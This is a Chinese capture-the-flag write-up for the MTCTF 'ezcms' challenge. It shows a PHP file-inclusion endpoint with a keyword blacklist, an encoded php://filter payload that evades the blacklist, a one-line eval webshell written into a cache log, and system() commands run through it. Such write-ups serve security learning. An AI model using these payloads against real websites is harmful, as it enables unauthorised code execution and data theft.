MTCTF复现[ezcms]
环境配置:
docker pull y4tacker/ez_yxcms:1.0
进入界面,目录扫描一下,得到:
访问robots.txt:
在这儿找到密码,md5解密即可:attack
用户attack,密码attack登陆就可以了
看到头像处的url为
class/showImage.php?file=logo.jpg
应该可以进行文件读取,所以去掉logo.jpg,然后bp抓包,得到源码:
<?php
error_reporting(0);
if ($_GET['file']){
$filename = $_GET['file'];
if ($filename=='logo.jpg'){
header("Content-Type:image/png");
echo file_get_contents("../static/images/logo.jpg");
}else{
ini_set('open_basedir','./');
if ($filename=='hint.php'){
echo 'nononono!';
} else{
if(preg_match('/read|[\x00-\x24\x26-\x2c]| |base|rot|strip|encode|flag|tags|iconv|utf|input|convertstring|lib|crypt|\.\.|\.\//i', $filename)){
echo "hacker";
}else{
include($filename);
}
}
}
}else{
highlight_file(__FILE__);
}
源码过滤了很多东西,但是可以用编码来进行绕过:
并且虽然过滤了read,但是可以不要read,因为这二者是等价的
payload:
php://filter/conv%25%36%35rt.bas%25%36%3564-encod%25%36%35/resource=hint.php
得到hint.php的内容:
<?php
//以下是class目录结构
/*
- class
-- cache
-- templates
--- api
- Api.php
---admin
-add_category.php
-category_list.php
-edit_category.php
-admin.php
-footer.php
-header.php
-left.php
- login.php
- index.php
- api.php
-- auth.php
-- file_class.php
-- hint.php
-- Medoo.php
-- render_file.php
-- showImage.php
-- info.php
*/
依次读取各个源码,在auth.php里发现:
实例化了info,跟进info,发现:
大概就是会把参数t的内容写到log函数里,并且文件名是/class/cache,可以通过文件包含漏洞来执行该文件
构造payload:
t=<?php @eval($_POST['yy']);?>
可以看到已经successful了
接下来访问构造payload:
yy=system(‘ls /’);
发现flagg,接着
yy=system(‘ls -al /’)
来读一下权限
最后构造yy=system(‘cat /flagg’);
但由于里面的内容是空的,所以读不出来
这是这道题的非预期解,预期解是正常的反序列化,详细的话可以看其他师傅的wp